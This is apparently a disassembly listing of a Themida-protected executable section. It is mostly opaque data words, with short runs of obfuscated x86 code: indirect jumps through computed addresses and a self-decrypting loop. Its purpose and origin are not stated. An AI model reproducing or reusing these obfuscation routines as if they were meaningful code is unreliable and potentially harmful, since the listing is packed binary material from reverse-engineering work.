dd 62AF149Fh, 0C34CB13Ch, 2AEB50DBh, 8E84E974h, 53528510h
dd 0BD55E389h, 4, 835DEB01h, 1C8704EBh, 92685C24h, 8900002Fh
dd 1468243Ch, 89000015h, 0B951241Ch, 46876129h, 87EEC8BFh
dd 8BCF314Eh, 0C483240Ch, 1C8B5404h, 4C48324h, 8904EC83h
dd 438F243Ch, 241C8B08h, 81E38953h, 4C3h, 4C38300h, 5C241C87h
dd 5F2434FFh, 4C481h, 69E90000h, 53FFF9EAh
db 1Dh, 0EEh, 69h
; ---------------------------------------------------------------------------
loc_5EC8CF: ; CODE XREF: sub_5EC3B6:loc_5EC3FFj
mov eax, 8009422h
add eax, ebp
jmp eax
sub_5EC3B6 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
push 0B318F87Eh
retn 0B0Ch
; ---------------------------------------------------------------------------
dd 32B40577h, 66528FB1h, 4D9BAF03h, 11D9C8AAh, 1FD89562h
dd 3A11D1CEh, 762516F5h, 73D4B64Eh, 69227417h, 487C1709h
dd 70F7D662h, 64F5F4EBh, 147F819Bh, 5FAE89A3h, 5811456h
dd 5A1413Ah, 7C1815B2h, 4D98D0DFh, 3D36E89Eh, 6F50491Ah
dd 95B38D8Dh, 6E90800h, 0DE000000h, 36200853h, 0D98D897Dh
dd 0F07FA1Ch, 0C8Dh, 68C0F00h, 1000000h, 0FA2E1995h, 0D18B6607h
dd 31AD85C7h, 6E6807FAh, 8B660000h, 0D985C7C2h, 7FA2Bh
dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 14042444h, 40000000h, 6674C350h, 7EE4DB81h, 9252BF66h
dd 138B0Fh, 0EE90000h, 0CE000000h, 0E8480A62h, 93537775h
dd 1388F3C4h, 49B5FF95h, 8907FA21h, 0FA169185h, 9995FF07h
dd 6A07FA17h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 15042444h, 41000000h, 34AC351h, 6E950h, 0AED80000h
dd 46D819E7h, 0FF006A5Ah, 0FA101995h, 0EBC08B07h, 9559D33Dh
dd 756D6B1Ah, 466DE25Ah, 0BCC43E1Ah, 630E6EA6h, 7FB21A42h
dd 54BD0B35h, 3B2DF8C1h, 922E4A38h, 0C919E658h, 927B27D6h
dd 385FDA43h, 356E2F1Eh, 0EB061534h, 0B4B8035Fh, 14E8C579h
dd 0CD000000h, 0C6E07EF6h, 0D5CC606h, 2188612Bh, 8D3B80E6h
dd 89A99C51h, 0FA229195h, 820F5907h, 0
; ---------------------------------------------------------------------------
add ecx, 6855h
mov edi, [ebp+7FA1D35h]
push 19E8h
mov ax, 9C37h
pop edx
mov si, 0EFB4h
loc_5ECA76: ; CODE XREF: Themida_:005ECAE0j
push dword ptr [ecx]
sub [ebp+7FA1EB1h], ebx
pop ebx
mov edi, edx
add ebx, 7A56D696h
mov [ebp+7FA0E0Dh], edx
add ebx, 52FAE0DBh
mov si, dx
xor ebx, 0BE9DE34h
mov edi, [ebp+7FA1895h]
push ebx
pusha
mov ecx, [ebp+7FA0EE5h]
mov bx, 0E96Bh
popa
pop dword ptr [ecx]
mov eax, 72DC2225h
sub ecx, 4
movzx esi, di
sub edx, 1
jnz loc_5ECADC
mov edi, [ebp+7FA0D4Dh]
jmp loc_5ECAF4
; ---------------------------------------------------------------------------
push 35h
mov [ebp+58EDA70h], dh
inc edx
loc_5ECADC: ; CODE XREF: Themida_:005ECAC2j
mov di, 7608h
jmp loc_5ECA76
; ---------------------------------------------------------------------------
db 17h, 95h, 48h
dd 5030FCFDh, 0C39D4F3h, 66832669h
; ---------------------------------------------------------------------------
loc_5ECAF4: ; CODE XREF: Themida_:005ECACEj
jmp loc_5ECB09
; ---------------------------------------------------------------------------
db 82h, 0EBh, 11h
dd 60h, 2 dup(0)
db 0
; ---------------------------------------------------------------------------
loc_5ECB09: ; CODE XREF: Themida_:loc_5ECAF4j
jmp loc_5ED062
; ---------------------------------------------------------------------------
dw 0A274h
dd 0F919C6FCh, 53C26FA5h, 0A768154Bh, 0FD14C1F7h, 82376BA1h
dd 0F0267899h, 97CDD143h, 427826EAh, 0EA207E95h, 44A7C31Bh
dd 7207E719h, 0F01F740Ch, 960809AEh, 6CA739F0h, 0CF42A732h
dd 27EC99CFh, 8C87EC77h, 0F0228712h, 91CA23AEh, 61B308D7h
dd 0E389B23Dh, 8BC1DD36h, 366C32DEh, 8C178789h, 26B1ED27h
dd 0CDB16B94h, 78255B43h, 4C78039Bh, 0FFE682E6h, 0E5ECA617h
dd 38748FADh, 0F0016A94h, 14D5C044h, 0A48D6Eh, 0A71E0000h
dd 7BA7326Ch, 0FFE68316h, 1118D243h, 38748ED9h, 0C1996C0h
dd 94DD405Ch, 1A0DEEh, 7DBD0000h, 527C0F53h, 0EF5BE107h
dd 0FFE5DA8Ch, 0D9EC4F6Bh, 0C11AFFE5h, 0CA812780h, 0A8336BA7h
dd 69192E58h, 0AE35965Ch, 88B13C62h, 46CC791Fh, 537DCD58h
dd 0BB24B6E1h, 637F0FFCh, 0FFE6F600h, 7A27CD26h, 4F790995h
dd 41EF60ACh, 5CEF950Ah, 2C10CA03h, 266CA7E6h, 702943AFh
dd 0E721F154h, 5DC61FFFh, 211BEF4h, 0B0CC0C9Ch, 0FFE7224Dh
dd 36741A73h, 0E4345E9Eh, 656F2768h, 5DF457C3h, 0C922FFE7h
dd 6AA76C23h, 18811DF8h, 0C0DE3388h, 19A4FA1Bh, 52B74AF0h
dd 1D8DB7C0h, 0EE760F9h, 86CCF3Bh, 419AFFE7h, 314DD8h
dd 0EFAF6246h, 86070A5Fh, 0C50BBCC8h, 25B01952h, 4C56B9D5h
dd 237CFFE7h, 29D614BAh, 0C429B4EAh, 9DC24D51h, 135B621Ch
dd 0B1387552h, 82h, 0F86AA742h, 901B841Ah, 81E40040h, 0AFFFE683h
dd 47AAC656h, 6DFFE683h, 54C16E14h, 0B390BA4Ah, 3D48F698h
dd 0ECEAA98Bh, 147DD429h, 4982DB6Eh, 3866AB8Fh, 0FA156A02h
dd 18DF19A4h, 0E8895BB5h, 21CE74DDh, 0BE23AEF0h, 9DC24D51h
dd 46A9C505h, 6CFFE6E1h, 0D9643AD7h, 20A147B0h, 0E7175F66h
dd 32B53874h, 46000000h, 0A9346AA7h, 47D2CC44h, 3908C203h
dd 837ADDF9h, 4FA8FFE6h, 8915FCA9h, 6BA79C53h, 167CA833h
dd 47FFE683h, 0DD151CD6h, 7B38748Eh, 1, 306EA70Ch, 0CBD340A5h
dd 6A34DB40h, 6987ADFh, 742E5F7Bh, 17D1FACCh, 4101E48h
dd 883B453h, 3E60B562h, 14307008h, 0FFE77DB1h, 7FE086DFh
dd 0AAC6560Ah, 7E1944Ch, 6F2FE57Ah, 0FD167B06h, 55BE6BA1h
dd 2D92BE49h, 1407E170h, 0DE3519D3h, 3D0630C0h, 94DA8056h
dd 9D4A882Eh, 389D2876h, 1C38C3DBh, 0A947FD4h, 0A9F51A7Fh
dd 0E68CF51Eh, 87DCAB65h, 628B1688h, 5E040FBCh, 0FB60EBB3h
dd 0B31C8519h, 8490E57Dh, 8E74D7F3h, 49A207E0h, 326A3AE0h
dd 0D0406E9Ah, 14Ch, 25EB4080h, 82AA0D79h, 43D807E0h, 1E47D2CCh
dd 0F3580FB5h, 18868E96h, 46CA1FAFh, 1EA9F51Ch, 0D8018CF5h
dd 287E9A32h, 3607E0B8h, 9B234DDDh, 0D283DE26h, 399E31D7h
dd 0F68EC4DAh, 0CB379AB6h, 16F907E0h, 48EE4788h, 9B26789Bh
dd 36C1DD36h, 0D15C42D1h, 0CB026581h, 0D73007E0h, 33BEE032h
dd 842CE617h, 898BE028h, 0BB618A15h, 779C803Ah, 0E921F127h
dd 87406ED6h, 2Eh, 0C69AF318h, 83971A36h, 0E43D7FE6h, 5DB40959h
dd 0E78DB641h, 0E6821073h, 2BCE57Fh, 0AD3D236Ah, 0E6820E91h
dd 255BB4FFh, 0A33Eh, 92BCD700h, 3C2867Fh, 50B157D7h, 42972739h
dd 932BD1CDh, 0E0E70D77h, 204A8A07h, 0A8A10F5Eh, 2D90FC8Ch
dd 5307E086h, 9C5C6E9h, 58C17C6Dh, 851069B2h, 75ABF320h
dd 0C3534BC8h, 6EF9A56Eh, 0E00C9F45h, 7E17678h, 4C30EA2Bh
dd 9A1D7C7h, 0B23D61B4h, 8BB34878h, 0F861550Dh, 0C898F152h
dd 0E56D1C38h, 126B0FE1h, 0ADF12287h, 0FB509022h, 0D6FF8A14h
dd 26F5AF30h, 0E067CAE6h, 0E8290FE0h, 0C1022BB6h, 2861C268h
dd 0DD8CA838h, 0AC17E176h, 4DED506Ch, 0BA1307E1h, 0D7A09440h
dd 3CE2508Eh, 0AD649AF3h, 3ACA96F3h, 0E71A6F1Eh, 93F41E07h
dd 0D9A5D66Ah, 0D353B6D2h, 288107E6h, 77D019BFh, 128C87ECh
dd 7EE42FDCh, 557E0995h, 0D13A64B0h, 4B8F1A46h, 5FB16FF8h
dd 4864B43Fh, 5FF7A9E5h, 80DB20Bh, 79B20B96h, 457E17BFh
dd 326CA78Bh, 0DAC44FFCh, 0A3BFFF4Fh, 5FF7AA40h, 4D8E1002h
dd 6EA14EF4h, 47E20F4h, 673BCCF8h, 0C752BB58h, 62EDB162h
dd 446017FDh, 5FF850E1h, 0C24DB60Fh, 0DB833D7Eh, 4226E009h
dd 0EA97CDD1h, 0BBE57529h, 23D89195h, 3ED177D7h, 119Fh
dd 0C62D5700h, 0E1E609AFh, 0FC8717FEh, 0DC46AD3h, 6FA75CBBh
dd 0D43FA42Fh, 36DA3FCAh, 9C78DD68h, 0FF127702h, 62AF149Fh
dd 0C34CB13Ch, 2AEB50DBh, 8E84E974h, 68528510h, 98Eh, 89242C89h
dd 4C581E5h, 83000000h, 2C8704EDh, 84685C24h, 89000054h
; ---------------------------------------------------------------------------
sub al, 24h
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ecx
push 80096CDh
mov ebp, [esp]
add esp, 4
push esp
mov ecx, [esp]
add esp, 4
push ebp
sub dword ptr [esp], 165D6B09h
pop dword ptr [ecx+8]
add dword ptr [ecx+8], 165D6B09h
push dword ptr [esp]
pop ecx
add esp, 4
mov ebp, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
jmp loc_58B334
; ---------------------------------------------------------------------------
dd 96A7E4F3h, 191AB31Dh
; ---------------------------------------------------------------------------
aad 0C3h
loc_5ED062: ; CODE XREF: Themida_:loc_5ECB09j
mov eax, 8009BA2h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 0F6h
dd 171ED9E3h, 8117FC4Ch, 31568A9Fh, 0B452FB2Dh, 0C003CD98h
dd 606C4115h, 19444C19h, 73196940h, 79519197h, 0BA3D64CBh
dd 0B90C8FBEh, 2B658F9Eh, 8D44FCEFh, 9D918Dh, 55006A08h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h
dd 4732E6Dh, 0B70F600Eh, 119D8BF8h, 6107FA06h, 1DED9589h
dd 8D8907FAh, 7FA1CD9h, 2A399589h, 85C707FAh, 7FA31ADh
dd 5DD0h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Bh, 40C35343h, 37C50BBDh, 608BD7BAh, 25BD8956h, 5E07FA2Ch
dd 2BD58D89h, 0C76107FAh, 0FA2BD985h, 7, 56006A00h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h
dd 0E4465F08h, 8B96C5C8h, 0FA0B4595h, 3DB5FF07h, 6A07FA24h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h
dd 46000000h, 0EB1C356h, 0FEF50BCh, 1C8Ch, 11E800h, 0F3320000h
dd 47ED32BEh, 0CF85D22Ch, 0F6ADE321h, 66F5DD1Eh, 0AD01EA81h
dd 9D858B58h, 0FF07FA27h, 0FA179995h, 50006A07h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h
dd 1C8274A3h, 4230BE01h, 6AC2BF0Fh, 1995FF00h, 8B07FA10h
dd 445BEBC0h, 0D8BDA7D1h, 9A399A2Ah, 8B392DF6h, 8E48636h
dd 459FEE9Bh, 47A7CBA1h, 1D651C46h, 5A168880h, 8E87E0C5h
dd 99C87868h, 0F12EFB45h, 9387ABFDh, 2259E618h, 0C772834h
dd 7B6012EFh, 1D77BF35h, 0B3A5D3EAh, 9C4AD622h, 1B1E0C78h
dd 31E8E466h, 0AEE76D5Dh, 0EEEFB854h, 0E3531EABh, 365DB162h
dd 56AC383Dh, 0E06B132h, 0EABB153h, 56D5B130h, 91AB0DE7h
dd 5692DE0Ch, 2E028611h, 0AA5DB10Ah, 0E8939CBh, 5657B130h
dd 0D62CB31Dh, 564500E0h, 5F03D132h, 0DE75B132h, 2BB08898h
dd 0E47008D6h, 56AB3F3Dh, 12E9B132h, 3786A6ADh, 0D8DAB132h
dd 56EAB13Ah, 56FFBE52h, 37BAB132h, 0DC52B132h, 56AEB12Eh
dd 56435952h, 7392B132h, 29DD99BDh, 5F7E7DB9h, 3A18B163h
dd 538F282Ah, 3705C7D5h, 0D1A1B132h, 5657B134h, 8E20D752h
dd 56D5D0CAh, 56E6303Dh, 0D07AB132h, 56BAB134h, 565D3E3Dh
dd 0B900B132h, 5651B16Fh, 3380B132h, 0AA90E180h, 568B5D85h
dd 0C6754432h, 56ABB16Dh, 93BCB132h, 0BD5D4497h, 0D453D638h
dd 22C9393Eh, 0BEF84E31h, 56EAB139h, 8F164A9Ah, 0C99765C5h
dd 0D79C83B8h, 0E7BFEFE2h, 5636EA16h, 56AB4832h, 56D4343Dh
dd 0AA12B132h, 0D97AB132h, 56BAB13Ah, 565F313Dh, 37CEB132h
dd 0DD58B132h, 56ABB133h, 56D544CAh, 0AFEAB1CAh, 5C9CB132h
dd 0B5BAB132h, 0EF0EF4B3h, 0B8E8440h, 5957B174h, 56ABB9B9h
dd 545EBE32h, 36EAB132h, 0BF75B153h, 56BAB126h, 8C6148F8h
dd 0D3774000h, 1CBD6BB6h, 18EF8B4Ah, 13983EC2h, 48AB132h
dd 5D80316Dh, 36BAB153h, 563C5283h, 432BBE32h, 0BF57B132h
dd 56ABB122h, 0C80B1370h, 40D6E479h, 62805DF4h, 0D7059E67h
dd 365DB1CAh, 0DD783A52h, 0E158D0FDh, 56ABD0C3h, 56DE333Dh
dd 0D68AB132h, 0DF7AC7D4h, 56BAB132h, 0A35DB153h, 0D5A1B132h
dd 5657B135h, 56AA3F3Dh, 562CB132h, 9D61D132h, 361472B9h
dd 0EE5A30CEh, 3716A028h, 4747B132h, 757B132h, 0C8BD15DFh
dd 610B5C81h, 169C24BFh, 94D41B72h, 0EDDAB132h, 6226FBCh
dd 56CFEC80h, 57DBBE32h, 0AEABB132h, 503CB132h, 32EAB132h
dd 63D9CEE1h, 56BAB388h, 63DB132h, 56AEA5DBh, 0CE53C432h
dd 86D41681h, 0BD685129h, 9F11AF5Eh, 82DABA2h, 0DDE9EF54h
dd 8E3CEEF9h, 57AEB235h, 4057AE32h, 60AB8932h, 56D6AD32h
dd 5A03D152h, 0B575B132h, 95B2ADC9h, 7C06AACBh, 0BF2C6D89h
dd 5657B13Ch, 440346BFh, 0E1CA1621h, 7FA9C6D7h, 0D61469D9h
dd 56DBC7E8h, 5BD5BE32h, 0BFAEB132h, 5657B13Ah, 7D2D8683h
dd 0FCB6B52h, 56EAB7DBh, 0D42BAD32h, 56FDD1DCh, 0EE3BD132h
dd 375BFB35h, 5ABEB132h, 0AFABB132h, 0EE964975h, 50727046h
dd 56E74B02h, 5731BE32h, 0A35DB132h, 58A80B52h, 0DD3191F9h
dd 56ABD0FDh, 56D5BADBh, 8CF14332h, 732140F5h, 87D3808Eh
dd 540BB132h, 56AEB7B6h, 0D4973032h, 0D789AA50h, 0E7D497DCh
dd 56EAD043h, 75B1C7h, 56B05930h, 9F09B132h, 3CC96169h
dd 0BF17A454h, 37F37BB9h, 503CB132h, 6DEAB132h, 3B8B7E8Eh
dd 4EA2178h, 565DB9DBh, 48F71132h, 7C427DCDh, 369ABE29h
dd 0CB442B9h, 0BF8AE16Ah, 5675B122h, 0B11CB0DAh, 0D56F8CA6h
dd 89D08832h, 0ADDD441Eh, 37553A54h, 13691EA2h, 67E5D06Ah
dd 3715E362h, 37DA803Dh, 0E07E968h, 5C47D162h, 1C57B132h
dd 409A6989h, 0F4B835A5h, 0E1E5D101h, 0AFCABEC5h, 5629D053h
dd 90FCB999h, 47305B5h, 0C88E9111h, 0C3EFD4Dh, 56F1226Ah
dd 7A35CF0Bh, 0DD8E3BC7h, 36E8E132h, 565DB4DBh, 99801832h
dd 0EE31D46Eh, 59CAC5D3h, 0DDB3D103h, 16660BF9h, 0C14983Ah
dd 72FE386Ah, 60FE136h, 59CFD160h, 5905E103h, 0CF3EB03h
dd 0BFE4BE6Ah, 56EAB123h, 0FEBE2B77h, 21DD7F3h, 961E43CFh
dd 0BA318FCBh, 0E0FEB87h, 0CB408B57h, 0BF49803Dh, 56EAB139h
dd 0C46845F5h, 88A3D151h, 30883D8Dh, 2FD65FB3h, 5657B7DBh
dd 721C0732h, 0CB86F3BFh, 0DF8BE968h, 0BF719576h, 56BAB126h
dd 9DC7F48Eh, 0F1C8709Ah, 15A54C66h, 0C99548F2h, 0ED9F04DEh
dd 0EA453F6Ah, 8EF4D777h, 5053A09Ah, 305DB132h, 0A453E595h
dd 0E362C71h, 7884EFC1h, 0D7B5B132h, 0B57C9BC3h, 53F6BE01h
dd 0ECBAB132h, 0D340A2Fh, 59AEB153h, 5657B0B9h, 56AB4432h
dd 62C3A52h, 56EAA0DBh, 6683D632h, 69F97CB8h, 9CF66B15h
dd 0B365FEDFh, 370C35F1h, 59ABB1C7h, 56D5BCBFh, 56E25832h
dd 5A6CB132h, 95F6037Bh, 565DDEAFh, 56A9353Dh, 0D158B132h
dd 56ABB133h, 59D5B1C7h, 56EA94B6h, 449CD132h, 0F4BAB132h
dd 2333DEBDh, 2288E12Fh, 0AABA8815h, 6E66C0B2h, 56D359AEh
dd 760CB132h, 9A58EA96h, 56BAD06Dh, 988E0852h, 0FCDC51h
dd 5636E86Dh, 0D7CDD132h, 0BF0F1BF3h, 56EAB13Dh, 0A9A937ECh
dd 6C2B19FEh, 32914A01h, 3780CF4Eh, 0D758B132h, 56ABB125h
dd 56D95952h, 0E3DAB132h, 0E0C4D19Ah, 0AD035B51h, 59023F10h
dd 56CF6A8Dh, 565D5832h, 0F1BBB132h, 14D9CD00h, 0CE5F916Fh
dd 567B303Dh, 5F53B132h, 0B25DB132h, 36846F24h, 462D6611h
dd 59CBB132h, 0A75E6785h, 59EAB153h, 5675B6B8h, 5739BE32h
dd 0AE5DB132h, 5C47B132h, 357B132h, 8F485C24h, 0A6AA3645h
dd 59EAB1E4h, 5675A4B2h, 56AA5832h, 0AE6FB132h, 66A0CC36h
dd 2D19740h, 9E6B3D22h, 56D53443h, 56EABADBh, 0DD79C232h
dd 105F95C9h, 69E21CF0h, 5652B132h, 5AD2BE32h, 59ABB132h
dd 56D5B7B6h, 566CBE32h, 5675B132h, 56AB5832h, 8076B132h
dd 0D1E28793h, 7FF7AEC8h, 8EC35F68h, 565BE05Dh, 56E15832h
dd 0BF61B132h, 78A1D73Ah, 63788E63h, 0AEAEB10Bh, 0D758B132h
dd 56ABB135h, 56D4353Dh, 5612B132h, 56795832h, 0A674B132h
dd 7B81AD3Dh, 0C455285h, 56571B4Ah, 56AA3A3Dh, 5620B132h
dd 56EA4932h, 0D07AD1C7h, 56BAB12Ah, 565DA2DBh, 5A81FD32h
dd 0F4D1FD35h, 0F5625DC8h, 0BB7BCFCEh, 98386699h, 5614E686h
dd 4553D132h, 0C5DB132h, 0E104F7CFh, 3238D434h, 0A316C383h
dd 65C6CFC9h, 0E1E5BDD0h
dd 5675D0F4h, 0AFBAB1CEh, 50B4B132h, 5CAEB132h, 1EC37CA7h
dd 59ABB1F0h, 56D5BCBDh, 56E25832h, 1C0CB132h, 9507E7h
dd 565D8F5Ch, 5D24BE52h, 0BE57B132h, 56ABB137h, 0B679156h
dd 0ED8CEA62h, 361496BDh, 56AB5964h, 2936B132h, 0DFB1A8C6h
dd 477DF806h, 81301E28h, 0F33DCB0h, 56EC586Ch, 5BCEB132h
dd 0BBAF3412h, 0BF5DB153h, 56AEB13Eh, 7D71B0C6h, 0A04A1E72h
dd 9C72A9C8h, 0D2E5B132h, 5675B133h, 56AE58CEh, 812EB132h
dd 747CF278h, 9EE0BD0Dh, 452215ECh, 23CDE9B6h, 56EA2115h
dd 5675A3DBh, 0BB2A4332h, 5544619Fh, 64419D20h, 90CA8906h
dd 5621A64Bh, 56D54832h, 56EAA3DBh, 1BC64F32h, 31D44013h
dd 0C4BE211Ah, 0E267C609h, 0BF092AEAh, 56ABB138h, 0D65C8202h
dd 7D61ED76h, 567537C5h, 36BAB1CEh, 565DA2DBh, 2A49732h
dd 8697F556h, 0C8C9ABA0h, 0DA710215h, 0F8FD0C86h, 5675BDDBh
dd 70C71D32h, 0C25D53EDh, 9F35882Fh, 5657D042h, 0D7CDE352h
dd 9460DD4h, 755268B3h, 0AF14CAA3h, 0D6B5B132h, 565DB13Eh
dd 56A83D3Dh, 0D458B132h, 56ABB132h, 0D3DAB132h, 56EAB124h
dd 5675A0DBh, 75DEA032h, 446C0689h, 968F2BB0h, 0C91EF265h
dd 56ABFB44h, 36D5B1CBh, 56EC393Dh, 0D37AB132h, 56BAB132h
dd 595DB153h, 56AEB0BBh, 56574432h, 56A05952h, 0E3C9B132h
dd 4B1839CEh, 7A4AB305h, 9810698h, 565DBEDAh, 7599D32h
dd 0AF1B01D4h, 82927DACh, 2B3305CDh, 8E8D0F54h, 0DC15D06Ch
dd 56BAD0FCh, 565DBDDBh, 0F9B8F632h, 0E9AF2255h, 3C156AE2h
dd 56D54995h, 0BF2D3B52h, 5675B13Bh, 59C786FCh, 9461F071h
dd 0D0A1D049h, 5657B13Eh, 56AD3F3Dh, 0DBDAB132h, 56EAB132h
dd 459CB132h, 0B1BAB132h, 0C91B692Bh, 0A73F905Fh, 0CF5BF84Ch
dd 63798D03h, 56D501B2h, 56EAB9DBh, 0DCD89E32h, 5B26648Ah
dd 0BF5DB1D9h, 56AEB13Bh, 0D487E185h, 7E2C2BD2h, 0AED5B102h
dd 0BF16B132h, 5675B138h, 0AB083115h, 4C0BF21Ch, 56AE99DCh
dd 5676343Dh, 59CBB132h, 56D5B1BEh, 56FE5832h, 0BDB132h
dd 87158133h, 0FED6DA4Ah, 0F2860A54h, 0F6F9CA11h, 56CA0E9Ch
dd 5F3CD132h, 0F6EAB132h, 0CC6BCCA6h, 0C7010467h, 595DB153h
dd 56AEA2B7h, 56595832h, 0D888B132h, 3726FA1Eh, 0C9347472h
dd 3CB24C87h, 0DCB5B132h, 565DB135h, 56AF303Dh, 36ABB132h
dd 594E7FB2h, 56D5B2BDh, 0A461D732h, 5975B153h, 56BABDBCh
dd 565A5832h, 6B16B132h, 4AC2E293h, 36ABB1B0h, 91F3A63h
dd 36EAB153h, 37863A54h, 4453B132h, 0FE5DB132h, 240DA6AAh
dd 1D6EDCD5h, 2423CDFCh, 85BFD35Ch, 0BFEAB117h, 5675B138h
dd 64CDAF62h, 13D6F9Eh, 5D47FAD1h, 9A57B132h, 650EE2C3h
dd 0B28B175Eh, 56EA6C52h, 5675BBDBh, 2F73C332h, 8E750EF2h
dd 56B5491Dh, 45BE4432h, 0B4ABB132h, 9F1EF28Bh, 0B263DEF2h
dd 0F91A0727h, 0FD5A4814h, 565D56CAh, 56AE44CBh, 5657BADBh
dd 3716F732h, 4378E158h, 3BAEDE77h, 0D77AB132h, 56BAB13Eh
dd 565B3E3Dh, 0D2A1B132h, 5657B132h, 565EB132h, 56D95832h
dd 8CF9B132h, 926ACF7Dh, 817247FDh, 565DAA7Bh, 59AEB1C7h
dd 5657A6B3h, 56B95832h, 0A10BB132h, 35CE1871h, 4BCF5422h
dd 0A3F9523Dh, 1A8C2A93h, 0D2A1B132h, 5657B121h, 56ABBFDBh
dd 2E777D32h, 880DAC10h, 0E78BFA3Bh, 0BF74D8F6h, 565DB123h
dd 0B57EE625h, 4E896560h, 0A43FCE79h, 1E740183h, 36EAB17Bh
dd 0A0200F54h, 56BAA3DAh, 48605E32h, 29075DE8h, 34F34890h
dd 0FCEC3A0Ah, 368F650Ch, 368BE853h, 0F82243B3h, 0DAD711h
dd 563CD06Dh, 56A75832h, 0AC0B132h, 56CF519Eh, 5678AFB4h
dd 56EF5832h, 90B3B132h, 5674542Eh, 5ED5BE32h, 59AEB132h
dd 5657B3B4h, 56CAD132h, 5E5CBE32h, 59EAB132h, 5675B3B5h
dd 56DBD132h, 56525832h, 9EE6B132h, 3C5986FBh, 0FB9C65h
dd 9831DDEBh, 59EAB1B5h, 5675BBBDh, 0A431D132h, 9F97BB3h
dd 56CFD93Ch, 58D9BE32h, 0BFABB132h, 56D5B13Bh, 2AB636FCh
dd 0C3F5F184h, 5852D139h, 45DB132h, 0F3E8FF90h, 0EA4C8DFAh
dd 3FA11C9Dh, 56DA59F6h, 2B08B132h, 0ACAA57Eh, 6618306h
dd 21EA6086h, 0AFF0EE97h, 0BF57B153h, 56ABB13Ch, 9DBE8970h
dd 3167F823h, 3BD84973h, 56BA6305h, 56505852h, 811DB132h
dd 0A1534BB8h, 5DE9CBABh, 0BE0B7562h, 56EAB13Dh, 303B33CCh
dd 0A2C314C3h, 0B15D3A11h, 30D0DD79h, 0DD0BE89h, 0BFABB153h
dd 56D5B120h, 0ADB88D1h, 117E9654h, 0DDE9DE18h, 5EF1F562h
dd 56AEBDC1h, 5657BEDBh, 0D9D38432h, 92D1E077h, 441957A0h
dd 0D67C340Eh, 4553B132h, 2F5DB132h, 0BBD4434Dh, 2B4626CDh
dd 1505ED4Bh, 0E7FF58E4h, 56EA8E6Ah, 567D5852h, 975B132h
dd 0A702D835h, 0DDC861EEh, 5657D0FDh, 30180252h, 37D46E88h
dd 0A06BD752h, 5A9CC902h, 0A0BAB132h, 7EBA76C2h, 712A8122h
dd 37E9FA7Bh, 5842B132h, 5D5B132h, 6AB6F66Fh, 2CAD9C9Dh
dd 54C9BD89h, 595DB111h, 56AEB0B1h, 56574932h, 36ABB1CAh
dd 0BF1C0E3Dh, 56EAB13Ch, 63A78D03h, 807C01B2h, 94A49924h
dd 59CFF3A4h, 5657BDBAh, 5021BE32h, 59D5B132h, 56EAB1BAh
dd 0BF75B132h, 56BAB13Ah, 2FCFF89Eh, 366A53C9h, 0D858B132h
dd 56ABB13Bh, 8054D752h, 378A2768h, 5975B153h, 56BAB0B6h
dd 0D2524932h, 56AEB13Ah, 5655393Dh, 37CBB132h, 5629B132h
dd 56EA4432h, 29843052h, 0BE8C533Eh, 565DB134h, 53083461h
dd 0D731AD58h, 0D487EDBh, 0AFD5B153h, 0D4E5B132h, 5675B121h
dd 56BABFDBh, 59775632h, 0AAC7E304h, 0BF6B674Eh, 562FFEF2h
dd 56D85832h, 0D22AB132h, 0C140D205h, 0FD452035h, 5683EB8Bh
dd 56AE4D32h, 0A8DCD752h, 56A8393Dh, 0DDB3B132h, 56EAD0C8h
dd 0B9FFD1CAh, 56BAB7DBh, 14E13132h, 374F8E9Fh, 56A2B132h
dd 5E2ABE32h, 59D5B132h, 56EAB3BBh, 5614D132h, 0DCEDD132h
dd 563CEECEh, 56AE4832h, 5657A0DBh, 0ABEE8232h, 2C6515E5h
dd 78324011h, 6A80B582h, 56BA4004h, 565DBADBh, 0CBFE0B32h
dd 0A0D2921Ch, 0E41A15B4h, 0D2DAB132h, 56EAB13Eh, 5673343Dh
dd 0DDB5B132h, 565DB132h, 532CBE52h, 0EC57B132h, 6F629120h
dd 56C6313Dh, 5803B132h, 0AE75B132h, 7225B647h, 998722BBh
dd 12852B1Eh, 5657D0ABh, 37F2E352h, 0D6DAB132h, 56EAB133h
dd 3675B1CBh, 34234B8Ah, 0D73BE634h, 95E9AFDh, 5957B153h
dd 56ABB0B3h, 56D54832h, 56E4303Dh, 5F9CB132h, 0D3BAB132h
dd 42EE26B3h, 31AA5B06h, 0D558B132h, 56ABB133h, 0BFD5B1CBh
dd 56EAB13Ch, 72FCB73h, 82639F81h, 6A6731EDh, 56AE10DFh
dd 5644353Dh, 5842B132h, 5ED5B132h, 98EC4FF4h, 86098723h
dd 6B9462Ch, 365DB11Eh, 0D7C879B9h, 37E047DDh, 5657B132h
dd 5751BE32h, 0AEEAB132h, 429CB132h, 0B5BAB132h, 3A7DAF91h
dd 0F9B009CFh, 0F1ED966Dh, 0A90F452Eh, 56619EF6h, 56FA5832h
dd 0F803B132h, 3236C507h, 532AA60Eh, 6347BA93h, 56577767h
dd 59ABB1CAh, 56D5BBBFh, 56EF5832h, 0C357B132h, 0A3AC1807h
dd 56A4B132h, 56AE4832h, 3657B1CBh, 0E213938Dh, 56C55828h
dd 0AB48B132h, 354076ECh, 0A2F43181h, 154A89ECh, 56CFC1BBh
dd 565B5832h, 0FAEDB132h, 0F0960FA0h, 0DE287249h, 5675C77Ah
dd 0EFB70752h, 2BDE142Ah, 59AEB153h, 5657A1BBh, 56A05832h
dd 8DF2B132h, 0CD39B105h
dd 0AC0F50F9h, 0BFBAB1A6h, 565DB122h, 0D2BC7A24h, 5F1617CBh
dd 1C796A56h, 69317AC2h, 4203B132h, 0D75B132h, 0B120719Ch
dd 0A7895AF7h, 0F7656A99h, 25DBC0A3h, 592240B0h, 56D5B0B7h
dd 56EA4432h, 5675B9DBh, 839F32h, 5BF4932h, 36AEB11Eh
